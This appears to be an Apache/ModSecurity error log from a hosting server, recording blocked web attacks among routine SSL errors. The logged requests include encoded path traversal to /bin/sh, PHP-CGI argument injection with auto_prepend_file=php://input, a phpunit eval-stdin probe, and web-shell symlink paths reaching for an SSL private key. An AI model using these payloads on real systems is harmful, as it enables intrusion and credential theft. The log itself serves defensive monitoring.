[Mon Oct 26 02:20:23.534651 2026] [security2:error] [pid 2982383:tid 2982383] [client 147.135.213.153:37092] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /alfa_data/alfasymlink/root/var/softaculous/humhub/soft.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/humhub/soft.htaccess"] [unique_id "at7xJ1KAT3mNfkVB4iyhnQAAABU"]
[Mon Oct 26 02:20:23.534950 2026] [security2:error] [pid 2982383:tid 2982383] [client 147.135.213.153:37092] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/humhub/soft.htaccess"] [unique_id "at7xJ1KAT3mNfkVB4iyhnQAAABU"]
[Mon Oct 26 02:20:23.559366 2026] [security2:error] [pid 2982383:tid 2982383] [client 147.135.213.153:37092] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7xJ1KAT3mNfkVB4iyhnQAAABU"]
[Mon Oct 26 02:20:30.133405 2026] [ssl:error] [pid 2982121:tid 2982121] (70014)End of file found: [client 34.194.165.45:35058] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:20:34.257774 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 98.84.131.195:44811] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:20:38.285039 2026] [ssl:error] [pid 2981941:tid 2981941] (70014)End of file found: [client 54.167.32.123:22093] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:20:42.315259 2026] [ssl:error] [pid 2978287:tid 2978287] (70014)End of file found: [client 98.83.177.42:50052] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:20:50.308898 2026] [ssl:error] [pid 2982378:tid 2982378] (70014)End of file found: [client 44.220.2.97:65504] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:20:51.600235 2026] [core:error] [pid 2982121:tid 2982121] (13)Permission denied: [client 185.191.171.8:29872] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-32/objs_per_slab
[Mon Oct 26 02:21:02.178942 2026] [ssl:error] [pid 2982258:tid 2982258] (5)Input/output error: [client 35.173.18.61:5413] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:21:06.166487 2026] [ssl:error] [pid 2973344:tid 2973344] (70014)End of file found: [client 23.21.148.226:4689] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:21:10.303759 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 52.204.89.12:15733] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:21:18.161421 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 100.29.63.24:44906] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:21:38.201904 2026] [ssl:error] [pid 2973344:tid 2973344] (70014)End of file found: [client 35.171.141.42:30952] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:21:46.343341 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 18.214.186.220:14847] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:21:50.297227 2026] [ssl:error] [pid 2982378:tid 2982378] (70014)End of file found: [client 98.84.184.80:51248] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:21:54.224113 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 34.195.248.30:64105] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:21:58.193883 2026] [ssl:error] [pid 2978293:tid 2978293] (70014)End of file found: [client 34.192.125.239:50522] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:22:02.280852 2026] [ssl:error] [pid 2973344:tid 2973344] (5)Input/output error: [client 23.23.213.182:37662] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:22:06.145193 2026] [ssl:error] [pid 2981794:tid 2981794] (70014)End of file found: [client 98.82.39.241:13756] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:22:34.387910 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 3.221.244.28:61972] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:22:38.200722 2026] [ssl:error] [pid 2982258:tid 2982258] (70014)End of file found: [client 18.211.39.188:12984] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:22:41.726031 2026] [core:error] [pid 2978298:tid 2978298] (13)Permission denied: [client 85.208.96.203:42394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/objects_partial
[Mon Oct 26 02:22:42.244261 2026] [ssl:error] [pid 2981794:tid 2981794] (70014)End of file found: [client 35.171.117.160:49242] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:22:48.142690 2026] [core:crit] [pid 2982378:tid 2982378] (13)Permission denied: [client 43.157.142.101:50026] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 02:22:55.190756 2026] [security2:error] [pid 2978303:tid 2978303] [client 185.191.171.3:48130] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/afc6b_0f1e7_d501c133ec5a8a50383beb53e1864720.key"] [unique_id "at7xv5MnyYq70WIUET3sEQAAABc"]
[Mon Oct 26 02:22:55.191165 2026] [security2:error] [pid 2978303:tid 2978303] [client 185.191.171.3:48130] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/afc6b_0f1e7_d501c133ec5a8a50383beb53e1864720.key"] [unique_id "at7xv5MnyYq70WIUET3sEQAAABc"]
[Mon Oct 26 02:22:55.191700 2026] [security2:error] [pid 2978303:tid 2978303] [client 185.191.171.3:48130] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/afc6b_0f1e7_d501c133ec5a8a50383beb53e1864720.key"] [unique_id "at7xv5MnyYq70WIUET3sEQAAABc"]
[Mon Oct 26 02:22:58.172680 2026] [ssl:error] [pid 2978298:tid 2978298] (70014)End of file found: [client 3.81.253.213:50342] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:23:10.169386 2026] [ssl:error] [pid 2982084:tid 2982084] (22)Invalid argument: [client 100.24.149.244:17834] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:23:20.079359 2026] [core:error] [pid 2978298:tid 2978298] (13)Permission denied: [client 185.191.171.17:26858] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-256/remote_node_defrag_ratio
[Mon Oct 26 02:23:30.238426 2026] [ssl:error] [pid 2982258:tid 2982258] (70014)End of file found: [client 23.21.179.27:45447] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:23:38.294736 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 3.224.205.25:51325] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:23:57.816622 2026] [core:error] [pid 2978298:tid 2978298] [client 165.99.207.153:39138] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)
[Mon Oct 26 02:23:58.520936 2026] [core:error] [pid 2982378:tid 2982378] [client 165.99.207.153:39140] AH10244: invalid URI path (/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh)
[Mon Oct 26 02:23:59.915525 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "at7x_8sSJ_JPXSgPpTUCEQAAAA4"]
[Mon Oct 26 02:24:00.007475 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "at7x_8sSJ_JPXSgPpTUCEQAAAA4"]
[Mon Oct 26 02:24:00.107039 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "at7x_8sSJ_JPXSgPpTUCEQAAAA4"]
[Mon Oct 26 02:24:00.107547 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "at7x_8sSJ_JPXSgPpTUCEQAAAA4"]
[Mon Oct 26 02:24:00.354600 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at7yAMsSJ_JPXSgPpTUCEgAAAA4"]
[Mon Oct 26 02:24:00.354674 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at7yAMsSJ_JPXSgPpTUCEgAAAA4"]
[Mon Oct 26 02:24:00.355119 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at7yAMsSJ_JPXSgPpTUCEgAAAA4"]
[Mon Oct 26 02:24:00.355420 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at7yAMsSJ_JPXSgPpTUCEgAAAA4"]
[Mon Oct 26 02:24:00.598651 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yAMsSJ_JPXSgPpTUCEwAAAA4"]
[Mon Oct 26 02:24:00.598744 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yAMsSJ_JPXSgPpTUCEwAAAA4"]
[Mon Oct 26 02:24:00.599214 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yAMsSJ_JPXSgPpTUCEwAAAA4"]
[Mon Oct 26 02:24:00.599489 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yAMsSJ_JPXSgPpTUCEwAAAA4"]
[Mon Oct 26 02:24:00.848646 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "at7yAMsSJ_JPXSgPpTUCFAAAAA4"]
[Mon Oct 26 02:24:00.848768 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "at7yAMsSJ_JPXSgPpTUCFAAAAA4"]
[Mon Oct 26 02:24:00.849459 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "at7yAMsSJ_JPXSgPpTUCFAAAAA4"]
[Mon Oct 26 02:24:00.849867 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "at7yAMsSJ_JPXSgPpTUCFAAAAA4"]
[Mon Oct 26 02:24:01.080216 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yAcsSJ_JPXSgPpTUCFQAAAA4"]
[Mon Oct 26 02:24:01.080283 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yAcsSJ_JPXSgPpTUCFQAAAA4"]
[Mon Oct 26 02:24:01.139214 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yAcsSJ_JPXSgPpTUCFQAAAA4"]
[Mon Oct 26 02:24:01.139997 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at7yAcsSJ_JPXSgPpTUCFQAAAA4"]
[Mon Oct 26 02:24:01.437684 2026] [security2:error] [pid 2978293:tid 2978293] [client 165.99.207.153:39144] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at7yAcsSJ_JPXSgPpTUCFgAAAA4"]
